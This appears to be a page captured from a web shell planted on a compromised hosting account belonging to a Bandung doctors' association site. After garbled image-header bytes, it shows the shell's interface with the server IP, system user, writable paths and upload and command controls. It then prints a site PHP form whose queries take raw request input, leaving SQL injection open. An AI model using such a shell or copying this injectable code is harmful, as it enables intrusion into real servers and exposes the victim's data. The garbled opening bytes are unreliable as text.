JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.101  /  Your IP : 216.73.216.163
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u686484674/domains/idikotabandung.com/public_html/surat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u686484674/domains/idikotabandung.com/public_html/surat/tambah_surat_tugasVadatombol.php
<script type="text/javascript" src="asset/ckeditor/ckeditor.js"></script>	
<?php
    //cek session
    if(empty($_SESSION['admin'])){
        $_SESSION['err'] = '<center>Anda harus login terlebih dahulu!</center>';
        header("Location: ./");
        die();
    } else {

        if(isset($_REQUEST['submit'])){

            //validasi form kosong
            if( $_REQUEST['no_surat'] == "" ||$_REQUEST['tgl_surat'] == ""  ){
                $_SESSION['errEmpty'] = 'ERROR! Semua form wajib diisi';
                echo '<script language="javascript">window.history.back();</script>';
            } else {

             //   $lampiran = $_REQUEST['lampiran'];
                $no_surat = $_REQUEST['no_surat'];
           //     $tujuan = $_REQUEST['tujuan'];
                $isi = $_REQUEST['isi'];
                $sifat = $_REQUEST['sifat'];
               // $nkode = trim($kode);
                $tgl_surat = $_REQUEST['tgl_surat'];
             //   $keterangan = $_REQUEST['keterangan'];
                $id_user = $_SESSION['id_user'];
			//	$alamat = $_REQUEST['alamat'];
			//	$perihal= $_REQUEST['perihal'];
				$ttd = $_REQUEST['ttd'];

                //validasi input data
            
//
//                    if(!preg_match("/^[a-zA-Z0-9.\/ -]*$/", $no_surat)){
//                        $_SESSION['no_suratk'] = 'Form No Surat hanya boleh mengandung karakter huruf, angka, spasi, titik(.), minus(-) dan garis miring(/)';
//                        echo '<script language="javascript">window.history.back();</script>';
//                    } else {
//
//                        if(!preg_match("/^[a-zA-Z0-9.,() \/ -]*$/", $tujuan)){
//                            $_SESSION['tujuan_surat'] = 'Form Tujuan Surat hanya boleh mengandung karakter huruf, angka, spasi, titik(.), koma(,), minus(-), kurung() dan garis miring(/)';
//                            echo '<script language="javascript">window.history.back();</script>';
//                        } else {
//
//                            if(!preg_match("/^[a-zA-Z0-9.,_()%&@\/\r\n -]*$/", $isi)){
//                                $_SESSION['isik'] = 'Form Isi Ringkas hanya boleh mengandung karakter huruf, angka, spasi, titik(.), koma(,), minus(-), garis miring(/), kurung(), underscore(_), dan(&) persen(%) dan at(@)';
//                                echo '<script language="javascript">window.history.back();</script>';
//                            } else {
//
//                              
//                                    if(!preg_match("/^[0-9.-]*$/", $tgl_surat)){
//                                        $_SESSION['tgl_suratk'] = 'Form Tanggal Surat hanya boleh mengandung angka dan minus(-)';
//                                        echo '<script language="javascript">window.history.back();</script>';
//                                    } else {

                                      

                                            $cek = mysqli_query($config, "SELECT * FROM tbl_surat_umum WHERE no_surat='$no_surat'");
                                            $result = mysqli_num_rows($cek);

                                            if($result > 0){
                                                $_SESSION['errDup'] = 'Nomor Surat sudah terpakai, gunakan yang lain!';
                                                echo '<script language="javascript">window.history.back();</script>';
                                            } else {

                                                $ekstensi = array('jpg','png','jpeg','doc','docx','pdf');
                                                $file = $_FILES['file']['name'];
                                                $x = explode('.', $file);
                                                $eks = strtolower(end($x));
                                                $ukuran = $_FILES['file']['size'];
                                                $target_dir = "upload/surat_keluar/";
												
												
												
												
												  function acakCaptcha() {
													$kode = "0123456789";

													$pass = array(); 

													$panjangkode = strlen($kode) - 2; 
													for ($i = 0; $i < 5; $i++) {
														$n = rand(0, $panjangkode);
														$pass[] = $kode[$n];
													}

													return implode($pass); 
												}

												//hasil kode acak disimpan di $code
												$code = acakCaptcha();

												//kode acak disimpan di dalam session agar data dapat dipassing ke halaman lain
												//$_SESSION["code"] = $code;	
												$tahun=date('Y');											
												$code =$code.$tahun;
												

                                                //jika form file tidak kosong akan mengekse
                                                if($file != ""){

                                                    $rand = rand(1,10000);
                                                    $nfile = $rand."-".$file;
                                                    if(in_array($eks, $ekstensi) == true){
                                                        if($ukuran < 2500000){

                                                     move_uploaded_file($_FILES['file']['tmp_name'], $target_dir.$nfile);

          

		//$query = mysqli_query($config, "INSERT INTO tbl_surat_umum(nospd,no_surat,jabatan,note,sifat,tgl_surat,tgl_catat,file,jenis,lampiran,id_user,noreg,nmtujuan,tglttd,perihal)
//			VALUES('$no_surat','$no_surat','$tujuan','$isi','$sifat','$tgl_surat',NOW(),'$nfile','3','$lampiran','$id_user','$code','$alamat','$ttd','$perihal')");
															
		 $query = mysqli_query($config, "INSERT INTO tbl_surat_umum(nospd,no_surat,note,tgl_surat,tgl_catat,file,id_user,jenis,noreg,tglttd,tugas)
         VALUES('$no_surat','$no_surat','$isi','$tgl_surat',NOW(),'$nfile','$id_user','1','$code','$ttd','$sifat')");														
															
                                                            if($query == true){
                                                                $_SESSION['succAdd'] = 'SUKSES! Data berhasil ditambahkan';
                                                                header("Location:./spd_peserta.php?noreg=$code");
                                                                die();
                                                            } else {
                                                                $_SESSION['errQ'] = 'ERROR! Ada masalah dengan query';
                                                                echo '<script language="javascript">window.history.back();</script>';
                                                            }
                                                        } else {
                                                            $_SESSION['errSize'] = 'Ukuran file yang diupload terlalu besar!';
                                                            echo '<script language="javascript">window.history.back();</script>';
                                                        }
                                                    } else {
                                                        $_SESSION['errFormat'] = 'Format file yang diperbolehkan hanya *.JPG, *.PNG, *.DOC, *.DOCX atau *.PDF!';
                                                        echo '<script language="javascript">window.history.back();</script>';
                                                    }
                                                } else {
                                                 //   $query = mysqli_query($config, "INSERT INTO tbl_surat_umum(nospd,no_surat,perihal,jabatan,note,sifat,tgl_surat,
                                                //        tgl_catat,file,lampiran,id_user,jenis,noreg,nmtujuan,tglttd)
                                                       // VALUES('$no_surat','$no_surat','$perihal','$tujuan','$isi','$sifat','$tgl_surat',NOW(),'','$lampiran','$id_user','3','$code','$alamat','$ttd')");
													
												  $query = mysqli_query($config, "INSERT INTO tbl_surat_umum(nospd,no_surat,note,tgl_surat,tgl_catat,file,id_user,jenis,noreg,tglttd,tugas)
                                                  VALUES('$no_surat','$no_surat','$isi','$tgl_surat',NOW(),'','$id_user','1','$code','$ttd','$sifat')");			
															
															
															
															

                                                    if($query == true){
                                                        $_SESSION['succAdd'] = 'SUKSES! Data berhasil ditambahkan';
                                                        header("Location:spd_peserta.php?noreg=$code");
                                                        die();
                                                    } else {
                                                        $_SESSION['errQ'] = 'ERROR! Ada masalah dengan query';
                                                        echo '<script language="javascript">window.history.back();</script>';
                                                    }
                                                }
                                            }
                                        }
                                 //   }
                            //    }
                          //  }
                    //    }
                 //   }
               // }
           // }
        } else {?>

            <!-- Row Start -->
            <div class="row">
                <!-- Secondary Nav START -->
                <div class="col s12">
                    <nav class="secondary-nav">
                        <div class="nav-wrapper blue-grey darken-1">
                            <ul class="left">
                                <li class="waves-effect waves-light"><a href="?page=tst&act=add" class="judul"><i class="material-icons">drafts</i> Tambah Data Surat Tugas</a></li>
                            </ul>
                        </div>
                    </nav>
                </div>
                <!-- Secondary Nav END -->
            </div>
            <!-- Row END -->

            <?php
                if(isset($_SESSION['errQ'])){
                    $errQ = $_SESSION['errQ'];
                    echo '<div id="alert-message" class="row">
                            <div class="col m12">
                                <div class="card red lighten-5">
                                    <div class="card-content notif">
                                        <span class="card-title red-text"><i class="material-icons md-36">clear</i> '.$errQ.'</span>
                                    </div>
                                </div>
                            </div>
                        </div>';
                    unset($_SESSION['errQ']);
                }
                if(isset($_SESSION['errEmpty'])){
                    $errEmpty = $_SESSION['errEmpty'];
                    echo '<div id="alert-message" class="row">
                            <div class="col m12">
                                <div class="card red lighten-5">
                                    <div class="card-content notif">
                                        <span class="card-title red-text"><i class="material-icons md-36">clear</i> '.$errEmpty.'</span>
                                    </div>
                                </div>
                            </div>
                        </div>';
                    unset($_SESSION['errEmpty']);
                }
            ?>

            <!-- Row form Start -->
            <div class="">
				
	<?php 
				
	$dayList = array(
	   'IDI-SPD' => 'IDI-SPD'	);				
	$day = 'IDI-SPD';		
					
	$array_bln = array(1=>"I","II","III", "IV", "V","VI","VII","VIII","IX","X", "XI","XII");
	$bln = $array_bln[date('n')];
	echo $bln;



$bulan = date('n');	
$tahun2 = date('Y');				  
				  
		$query = mysqli_query($config, "SELECT tgl_surat,max(substr(nospd,1,5)) as kodeTerbesar FROM tbl_surat_umum WHERE month(tgl_surat)='$bulan' AND year(tgl_surat)='$tahun2'  ");

					$data = mysqli_fetch_array($query);
					$kodeBarang = $data['kodeTerbesar'];
					$urutan = (int) substr($kodeBarang,1,5);
					// bilangan yang diambil ini ditambah 1 untuk menentukan nomor urut berikutnya
					$urutan++;				
					//$huruf =  $dayList[$day];			
					$tahun=date('Y');
					$nospd= sprintf("%05s", $urutan)."/S.T/IDI-Bd/".$bln."/".$tahun;
												
					$no_surat=$urutan;						

				?>			
				

                <!-- Form START -->
                <form class="col s12" method="POST" action="?page=tst&act=add" enctype="multipart/form-data">

                    <!-- Row in form START -->
                    <div class="">
						<?php
						  $sekarang  =date("Y-m-d");
						?>
						
						
						
						
						
							 <div class="input-field col s6">
                            <i class="material-icons prefix md-prefix">date_range</i>
                            <input id="tgl_surat" type="text" name="tgl_surat" class="datepicker" value="<?php echo $sekarang ?>" required>
                                <?php
                                    if(isset($_SESSION['tgl_suratk'])){
                                        $tgl_suratk = $_SESSION['tgl_suratk'];
                                        echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$tgl_suratk.'</div>';
                                        unset($_SESSION['tgl_suratk']);
                                    }
                                ?>
                            <label for="tgl_surat">Tanggal Surat (Tahun-Bulan-Tanggal)</label>
                        </div>	
						
								   <div class="input-field col s6">
                            <i class="material-icons prefix md-prefix">looks_two</i>
                            <input id="no_surat" type="text" class="validate" name="no_surat" value="<?php echo $nospd ?>" required>
                                <?php
                                    if(isset($_SESSION['no_suratk'])){
                                        $no_suratk = $_SESSION['no_suratk'];
                                        echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$no_suratk.'</div>';
                                        unset($_SESSION['no_suratk']);
                                    }
                                    if(isset($_SESSION['errDup'])){
                                        $errDup = $_SESSION['errDup'];
                                        echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errDup.'</div>';
                                        unset($_SESSION['errDup']);
                                    }
                                ?>
                            <label for="no_surat">Nomor Surat</label>
                        </div>
						
					  <br>
    <div style='text-align:justify;'>Yang bertanda tangan dibawah ini :<br>

									Nama	  :	Dr. R. Dadan Gardea Gandadikusumah, Sp.OT<br>
									Jabatan	  :	Ketua IDI Cabang Kota Bandung<br><br>
						
						
						
						Dengan ini menugaskan kepada nama-nama berikut ini :
						</div>
		<br>
	  	
						 	       <div class="input-field col s6 tooltipped" data-position="top" data-tooltip="Isi dengan angka">
                            <i class="material-icons prefix md-prefix">looks_one</i>
                            <input id="lampiran" type="text" class="validate" name="lampiran" readonly>
                            <label for="lampiran">Peserta akan diinput setelah Submit Surat</label>
                        </div>
						
						
						<br>	<br>
						<a class="btn small blue waves-effect waves-light" href="?page=tst&act=peserta&id_surat='.$row['id_surat'].'">
                                                    <i class="material-icons">edit</i> Peserta</a>
						<br>	<br>
							    <div class="input-field col s6">
                            <i class="material-icons prefix md-prefix">low_priority</i><label>Pilih Tujuan Surat</label><br/>
                            <div class="input-field col s11 midle">
                                <select class="browser-default validate" name="sifat" id="sifat" required>
                                    <option value="1">Dinas</option>
                                    <option value="2">Monitoring</option>
                                 </select>
                            </div>		
							<br>
                      
			          
               
                        <div class="input-field col s8">
                     	Isi Surat <br> 
                            <textarea id="isi" class="ckeditor" name="isi" required></textarea>
                           
                            <label for="isi"></label>
                        </div>
								
									
									
									
						    <div class="input-field col s6">
								Tanggal Tanda Tangan (Tahun-Bulan-Tanggal) <br> 
                    <i class="material-icons prefix md-prefix">date_range</i>
                            <input id="ttd" type="text" class="" name="ttd" value="<?php echo $sekarang ?>"  required>
                         
                       
                        </div>				
									
							<br><br>		
									
					
								
                        <div class="input-field col s6">
                            <div class="file-field input-field tooltipped" data-position="top" data-tooltip="Jika tidak ada file/scan gambar surat, biarkan kosong">
                                <div class="btn light-green darken-1">
                                    <span>File</span>
                                    <input type="file" id="file" name="file">
                                </div>
								
				
								
								
								
								
                                <div class="file-path-wrapper">
                                    <input class="file-path validate" type="text" placeholder="Upload file/scan gambar surat keluar">
                                        <?php
                                            if(isset($_SESSION['errSize'])){
                                                $errSize = $_SESSION['errSize'];
                                                echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errSize.'</div>';
                                                unset($_SESSION['errSize']);
                                            }
                                            if(isset($_SESSION['errFormat'])){
                                                $errFormat = $_SESSION['errFormat'];
                                                echo '<div id="alert-message" class="callout bottom z-depth-1 red lighten-4 red-text">'.$errFormat.'</div>';
                                                unset($_SESSION['errFormat']);
                                            }
                                        ?>
                                    <small class="red-text">*Format file yang diperbolehkan *.JPG, *.PNG, *.DOC, *.DOCX, *.PDF dan ukuran maksimal file 2 MB!</small>
                                </div>
                            </div>
                        </div>
                    </div>
                    <!-- Row in form END -->

                    <div class="row">
                        <div class="col 6">
                            <button type="submit" name="submit" class="btn-large blue waves-effect waves-light">SIMPAN DAN INPUT DATA PESERTA <i class="material-icons">done</i></button>
                        </div>
                        <div class="col 6">
                            <a href="?page=tst" class="btn-large deep-orange waves-effect waves-light">BATAL <i class="material-icons">clear</i></a>
                        </div>
                    </div>

                </form>
                <!-- Form END -->

            </div>
            <!-- Row form END -->

<?php
        }
    }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit